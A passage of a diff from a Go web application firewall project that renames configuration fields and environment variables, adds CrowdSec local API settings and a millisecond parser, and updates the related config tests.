func (e *environment) millisecondsOrOff( func (e *environment) millisecondsOrOff(
@@ -193,6 +204,17 @@ func (e *environment) millisecondsOrOff(
return duration return duration
} }
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseUpstreamURL reads the app's URL: http or https, a host and an // parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's // optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged. // own path and query go to the app unchanged.
internal/config/rproxy_test.go
+24 -26
View File
@@ -16,8 +16,8 @@ import (
// rproxy's settings, by name, and their values in these tests. // rproxy's settings, by name, and their values in these tests.
const ( const (
wafBackend = "SWW_RPROXY_WAF_BACKEND" wafBackend = "SWW_RPROXY_WAF_BACKEND"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR" rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES" rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
@@ -26,8 +26,8 @@ const (
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080" backendURL = "http://waf:8080"
rproxyNoAnswerAddr = ":8080" rproxyDefaultAddr = ":8080"
rproxyNoAnswerApp = "http://127.0.0.1:8081" rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot" notASize = "a lot"
) )
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
if cfg.ListenAddr != rproxyNoAnswerAddr || if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyNoAnswerApp || cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf( t.Errorf(
"addresses %q, %v, %v", "addresses %q, %v, %v",
@@ -55,12 +55,11 @@ func TestRProxyDefaults(t *testing.T) {
) )
} }
if cfg.WAFBackendTimeout != 2*time.Second || if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
cfg.WAFBackendNoAnswerDisposition != "allow" {
t.Errorf( t.Errorf(
"waf backend timeout %v, no-answer disposition %q", "timeout %v, default disposition %q",
cfg.WAFBackendTimeout, cfg.Timeout,
cfg.WAFBackendNoAnswerDisposition, cfg.DefaultDisposition,
) )
} }
@@ -91,8 +90,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000", rproxyListen: ":9000",
rproxyUpstream: "http://app:3000", rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24", rproxyTrusted: "192.0.2.0/24",
wafBackendTimeout: "150", rproxyTimeout: "150",
rproxyNoAnswer: "deny", rproxyDefault: "deny",
rproxyMaxRequest: "1K", rproxyMaxRequest: "1K",
rproxyMaxResponse: off, rproxyMaxResponse: off,
rproxyRequestTime: off, rproxyRequestTime: off,
@@ -108,8 +107,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.WAFBackendTimeout != 150*time.Millisecond || if cfg.Timeout != 150*time.Millisecond ||
cfg.WAFBackendNoAnswerDisposition != "deny" || cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 || cfg.MaxRequestSize != 1024 ||
cfg.MaxResponseSize != 0 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 || cfg.MaxRequestTime != 0 ||
@@ -127,13 +126,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "waf:8080"}, {wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"}, {wafBackend, "http://waf:8080/path"},
{wafBackendTimeout, "0"}, {rproxyTimeout, "0"},
{wafBackendTimeout, "-1"}, {rproxyTimeout, "-1"},
{wafBackendTimeout, off}, {rproxyTimeout, off},
{wafBackendTimeout, "2s"}, {rproxyTimeout, "2s"},
{wafBackendTimeout, "1.25"}, {rproxyTimeout, "1.25"},
{wafBackendTimeout, "99999999999999999"}, {rproxyTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"}, {rproxyDefault, "maybe"},
{rproxyListen, "8080"}, {rproxyListen, "8080"},
{rproxyUpstream, "app"}, {rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"}, {rproxyUpstream, "127.0.0.1:8081"},
@@ -221,10 +220,10 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
for _, path := range []string{filepath.Join(dir, "missing"), dir} { for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{ _, err := rproxyConfig(map[string]string{
wafBackend: backendURL, wafBackend: backendURL,
wafBackendTimeout + "_FILE": path, rproxyTimeout + "_FILE": path,
}) })
want := wafBackendTimeout + "_FILE: cannot be read: " want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) { if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want) t.Errorf("%s: error %v, want one starting %s", path, err, want)
} }
@@ -247,8 +246,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
} }
for _, name := range []string{ for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout, rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} { } {
if !slices.Contains(names, name) { if !slices.Contains(names, name) {
internal/config/viper_test.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) { func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "") t.Setenv(adminToken, "")
_, err := config.WAFFromEnvironment(config.NewViper()) _, err := config.FromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters" want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
internal/config/waf.go
+249 -206
View File
@@ -27,8 +27,9 @@ import (
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
) )
// WAF is the settings of `sww waf`. A time or size limit of zero is off. // Config is the settings of `sww waf`. A time or size limit of
type WAF struct { // zero is off.
type Config struct {
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR). // ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
ListenAddr string ListenAddr string
// InstanceName is the name every log line and alert gives as instance, // InstanceName is the name every log line and alert gives as instance,
@@ -69,25 +70,24 @@ type WAF struct {
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the // BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
// most bytes a client's requests may carry in a minute, an hour and a // most bytes a client's requests may carry in a minute, an hour and a
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and // day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count // SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED): // toward them (SWW_WAF_BYTES_COUNT): response, request or both.
// response, request or both.
BytesLimitPerMinute int64 BytesLimitPerMinute int64
BytesLimitPerHour int64 BytesLimitPerHour int64
BytesLimitPerDay int64 BytesLimitPerDay int64
BytesCounted string BytesCount string
// LookupSource is where each client's AS number and country are looked // LookupSource is where each client's AS number and country are
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. // looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in // LookupDBPath is the lookup database, the IPinfo Lite file looked up
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any // in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to ASNAndCountryLookupTimeout for its // other source. A request waits up to LookupTimeout for its client's
// client's first answer from GeoJS while a setting needs it // first answer from GeoJS while a setting needs it
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off. // (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
// AddLookupHeaders is true when the app is passed the client's AS number // when the app is passed the client's AS number and country in headers
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS). // (SWW_WAF_ADD_LOOKUP_HEADERS).
LookupSource string LookupSource string
LookupDBPath string LookupDBPath string
ASNAndCountryLookupTimeout time.Duration LookupTimeout time.Duration
AddLookupHeaders bool AddLookupHeaders bool
// ExclusivelyAllowedCountries, when not empty, are the only countries // ExclusivelyAllowedCountries, when not empty, are the only countries
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES), // whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
@@ -105,21 +105,20 @@ type WAF struct {
// RouteWatchURL is where the routewatch instance is that adds the asn= // RouteWatchURL is where the routewatch instance is that adds the asn=
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL). // and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
RouteWatchURL string RouteWatchURL string
// The biased thresholds. ASNBytesLimitPercent and // The biased thresholds. ASNBytesPercent and CountryBytesPercent give
// CountryBytesLimitPercent give those they list a percentage of the byte // those they list a percentage of the byte limits in place of the one
// limits in place of the one TagLimitPercent gives their asn= or // TagLimitPercent gives their asn= or country= tag
// country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and // (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to // percentages from 0 to 100, by AS number, written as AS64496, or by
// 100, by AS number, written as AS64496, or by country, a two-letter // country, a two-letter code in capitals, as the lookup gives them.
// code in capitals, as the lookup gives them. UnknownCountryLimitPercent // UnknownLimitPercent is the percentage of every limit a client without
// is the percentage of every limit a client without a country gets // a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
// (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is
// where a file of AS:percent lines is fetched from, whose percentages // where a file of AS:percent lines is fetched from, whose percentages
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL), // count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
// "" while it is unset. // "" while it is unset.
ASNBytesLimitPercent map[string]int64 ASNBytesPercent map[string]int64
CountryBytesLimitPercent map[string]int64 CountryBytesPercent map[string]int64
UnknownCountryLimitPercent int64 UnknownLimitPercent int64
ASNLimitPercentURL string ASNLimitPercentURL string
// BlocklistURLs are where the blocklists are fetched from // BlocklistURLs are where the blocklists are fetched from
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is // (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
@@ -140,23 +139,28 @@ type WAF struct {
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and // of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
// at most AbuseIPDBDailyBudget checks are made a day // at most AbuseIPDBDailyBudget checks are made a day
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET). // (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
// DNSBLAbuseIPDBAction is what is done with a client a zone's verdict // ReputationAction is what is done with a client a zone's verdict lists,
// lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny, // or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
// limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage // for limit, ReputationLimitPercent is the percentage of every limit it
// of every limit it gets. A verdict or a score is used for // gets. A verdict or a score is used for ReputationCacheTTL after it was
// IPReputationCacheTTL after it was fetched // fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take // ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
// DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither
// can be off.
DNSBLZones []string DNSBLZones []string
DNSBLResolver netip.AddrPort DNSBLResolver netip.AddrPort
AbuseIPDBKey string AbuseIPDBKey string
AbuseIPDBMinScore int64 AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int AbuseIPDBDailyBudget int
DNSBLAbuseIPDBAction string ReputationAction string
DNSBLAbuseIPDBLimitPercent int64 ReputationLimitPercent int64
IPReputationCacheTTL time.Duration ReputationCacheTTL time.Duration
DNSBLAbuseIPDBTimeout time.Duration ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403 // BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer // or 429, or 0 to close the connection without an answer
// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that // (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -167,11 +171,11 @@ type WAF struct {
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within // (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
// LimitBanRepeatWindow after the last ban ended bans for three times // LimitBanRepeatWindow after the last ban ended bans for three times
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that // as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
// would be longer than LimitBanPermanentAbove is permanent instead // would be longer than MaxBanDuration is permanent instead
// (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off. // (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
LimitBanDuration time.Duration LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration LimitBanRepeatWindow time.Duration
LimitBanPermanentAbove time.Duration MaxBanDuration time.Duration
// AttackBanDuration is the ban for a first clear sign of attack // AttackBanDuration is the ban for a first clear sign of attack
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off. // (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
AttackBanDuration time.Duration AttackBanDuration time.Duration
@@ -181,13 +185,13 @@ type WAF struct {
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX). // client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
BanScopeV4Prefix int BanScopeV4Prefix int
// StateDir is the directory of the state files, an absolute path // StateDir is the directory of the state files, an absolute path
// (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban // (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
// is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file // is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file
// every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither // every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither
// can be off. // can be off.
StateDir string StateDir string
BansWriteDelay time.Duration StateWriteDelay time.Duration
StateWriteInterval time.Duration StateCounterInterval time.Duration
// CacheDir is the directory of the cache files, which keep answers // CacheDir is the directory of the cache files, which keep answers
// from outside services, an absolute path (SWW_WAF_CACHE_DIR). // from outside services, an absolute path (SWW_WAF_CACHE_DIR).
CacheDir string CacheDir string
@@ -203,37 +207,31 @@ type WAF struct {
AdminToken string AdminToken string
// MetricsToken is the bearer token a scraper sends for the metrics // MetricsToken is the bearer token a scraper sends for the metrics
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off. // (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
// MetricsBusiestCountriesAndASNs is how many AS numbers and how many // MetricsTopN is how many AS numbers and how many countries get series
// countries get series of their own in the metrics // of their own in the metrics (SWW_WAF_METRICS_TOP_N).
// (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS).
MetricsToken string MetricsToken string
MetricsBusiestCountriesAndASNs int MetricsTopN int
// RuleFilesDir is the directory of the rule files // RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
// (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false // unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
// (SWW_WAF_RULE_FILES_ENABLED). RulesDir string
RuleFilesDir string RulesEnabled bool
RuleFilesEnabled bool // WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
// CoreRuleSetMode is what the Core Rule Set does // WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff, // level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
// CoreRuleSetModeDetect or CoreRuleSetModeBlock. // WAFAnomalyThreshold the anomaly score at which a request is a match
// CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4 // (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold // are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
// the anomaly score at which a request is a match // WAFExemptPaths the path prefixes it does not inspect
// (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off. // (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// CoreRuleSetDisabledRules are the ids of its rules switched off // it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the
// path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS),
// and CoreRuleSetBodyInspectionSize the most of a request body it reads
// (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it
// reads none.
// CoreRuleSetExclusionsFile is the path of the file of its exclusions // CoreRuleSetExclusionsFile is the path of the file of its exclusions
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none. // (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
CoreRuleSetMode string WAFMode string
CoreRuleSetParanoiaLevel int WAFParanoiaLevel int
CoreRuleSetScoreThreshold int WAFAnomalyThreshold int
CoreRuleSetDisabledRules []int WAFDisabledRules []int
CoreRuleSetExemptPaths []string WAFExemptPaths []string
CoreRuleSetBodyInspectionSize int64 WAFBodyLimit int64
CoreRuleSetExclusionsFile string CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in // Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes // lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
@@ -243,24 +241,23 @@ type WAF struct {
// TrapPaths are the paths a request for which is a clear sign of // TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?. // attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string TrapPaths []string
// RefusalsLimitPerMinute is the most requests of a client within a minute // ErrorBurstThreshold is the most requests of a client within a minute
// that waf may refuse after a rule file or Core Rule Set match; one // that waf may refuse after a rule file or Core Rule Set match; one
// more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off. // more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
RefusalsLimitPerMinute int64 ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent // LogRemoteURL is where every line on stdout is also sent
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. // (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while // certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
// it is unset and the host's own are used. LogRemoteBufferLines is the // it is unset and the host's own are used. LogRemoteBuffer is the most
// most lines held while they wait to be sent // lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
// LogRemoteFacility is the number of the syslog facility // LogRemoteFacility is the number of the syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME // (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records // (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
// the lines are sent in. // the lines are sent in.
LogRemoteURL *url.URL LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool LogRemoteTLSCAs *x509.CertPool
LogRemoteBufferLines int LogRemoteBuffer int
LogRemoteFacility int LogRemoteFacility int
LogRemoteAppName string LogRemoteAppName string
// AlertWebhookURL is where each alert is posted as JSON // AlertWebhookURL is where each alert is posted as JSON
@@ -288,19 +285,19 @@ type WAF struct {
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*), // and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number // per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*) // (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
// and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while // and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
// it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths // AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
// of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and // netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched // SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
// netblocks (SWW_WAF_ANOMALY_WATCHED_NETS). // (SWW_WAF_WATCH_NETS).
AnomalyClient anomaly.Thresholds AnomalyClient anomaly.Thresholds
AnomalyNet anomaly.Thresholds AnomalyNet anomaly.Thresholds
AnomalyASN anomaly.Thresholds AnomalyASN anomaly.Thresholds
AnomalyTotal anomaly.Thresholds AnomalyTotal anomaly.Thresholds
AnomalyWatchedNet anomaly.Thresholds AnomalyWatch anomaly.Thresholds
AnomalyNetV4Prefix int AnomalyNetV4Prefix int
AnomalyNetV6Prefix int AnomalyNetV6Prefix int
AnomalyWatchedNets []anomaly.NamedNetblock WatchNets []anomaly.NamedNetblock
// settings are the values read, as given or by default, and the // settings are the values read, as given or by default, and the
// files they were read from, for the log line at start. // files they were read from, for the log line at start.
@@ -309,12 +306,12 @@ type WAF struct {
// The values of SWW_WAF_CORE_RULE_SET_MODE. // The values of SWW_WAF_CORE_RULE_SET_MODE.
const ( const (
// CoreRuleSetModeOff runs no request through the Core Rule Set. // WAFModeOff runs no request through the Core Rule Set.
CoreRuleSetModeOff = off WAFModeOff = off
// CoreRuleSetModeDetect logs and alerts a match, and refuses nothing. // WAFModeDetect logs and alerts a match, and refuses nothing.
CoreRuleSetModeDetect = "detect" WAFModeDetect = "detect"
// CoreRuleSetModeBlock refuses a match with 403. // WAFModeBlock refuses a match with 403.
CoreRuleSetModeBlock = "block" WAFModeBlock = "block"
) )
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the // fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
@@ -384,7 +381,7 @@ var (
"is not an absolute path, such as /var/lib/sww") "is not an absolute path, such as /var/lib/sww")
errShortToken = errors.New("is shorter than 32 characters") errShortToken = errors.New("is shorter than 32 characters")
errNotMode = errors.New("is not enforce or observe") errNotMode = errors.New("is not enforce or observe")
errNotBytesCounted = errors.New("is not response, request or both") errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New( errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/") "is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New( errNotTrapPath = errors.New(
@@ -399,10 +396,8 @@ var (
errNotApp = errors.New( errNotApp = errors.New(
"is not an app sww has fixes for; the apps are", "is not an app sww has fixes for; the apps are",
) )
errNotCoreRuleSetMode = errors.New("is not off, detect or block") errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New( errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
"is not a paranoia level, from 1 to 4",
)
errNotRuleID = errors.New( errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100", "is not the id of a Core Rule Set rule, a whole number such as 942100",
) )
@@ -466,12 +461,21 @@ var (
"is not an IP address with an optional port, " + "is not an IP address with an optional port, " +
"such as 192.0.2.53 or [2001:db8::53]:5353", "such as 192.0.2.53 or [2001:db8::53]:5353",
) )
errNotLAPIURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080")
errNotRouteWatchURL = errors.New( errNotRouteWatchURL = errors.New(
"is not an http or https URL without a user or a fragment, " + "is not an http or https URL without a user or a fragment, " +
"such as https://routewatch.example") "such as https://routewatch.example")
errFetchedOtherwise = errors.New( errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New(
"it is sent only to the engine at that URL",
)
errAnotherList = errors.New(
"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too", "is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too",
) )
errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
errNotTagList = errors.New( errNotTagList = errors.New(
"is not a name, = and an http or https URL, such as " + "is not a name, = and an http or https URL, such as " +
"torexit=https://example.com/tor.txt") "torexit=https://example.com/tor.txt")
@@ -486,6 +490,8 @@ var (
errExploitTag = errors.New( errExploitTag = errors.New(
"cannot lower limits: the rate limits count a request before its " + "cannot lower limits: the rate limits count a request before its " +
"rules are matched") "rules are matched")
errCrowdSecTag = errors.New(
"cannot be used: a CrowdSec decision refuses the request first")
errNoRequestGetsTag = errors.New( errNoRequestGetsTag = errors.New(
"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " + "is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " + "asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
@@ -495,7 +501,7 @@ var (
) )
) )
// WAFFromEnvironment reads the settings through v, normally the viper // FromEnvironment reads the settings through v, normally the viper
// NewViper returns, bound to the process's environment. A setting may // NewViper returns, bound to the process's environment. A setting may
// instead be given as a file: the variable named by the setting's name // instead be given as a file: the variable named by the setting's name
// with _FILE added names the file, which is read now (see lookup). A // with _FILE added names the file, which is read now (see lookup). A
@@ -503,9 +509,9 @@ var (
// invalid is an error that names it. // invalid is an error that names it.
// //
//nolint:funlen // one line for each setting, a list that grows with them //nolint:funlen // one line for each setting, a list that grows with them
func WAFFromEnvironment(v *viper.Viper) (*WAF, error) { func FromEnvironment(v *viper.Viper) (*Config, error) {
env := &environment{v: v} env := &environment{v: v}
cfg := &WAF{ cfg := &Config{
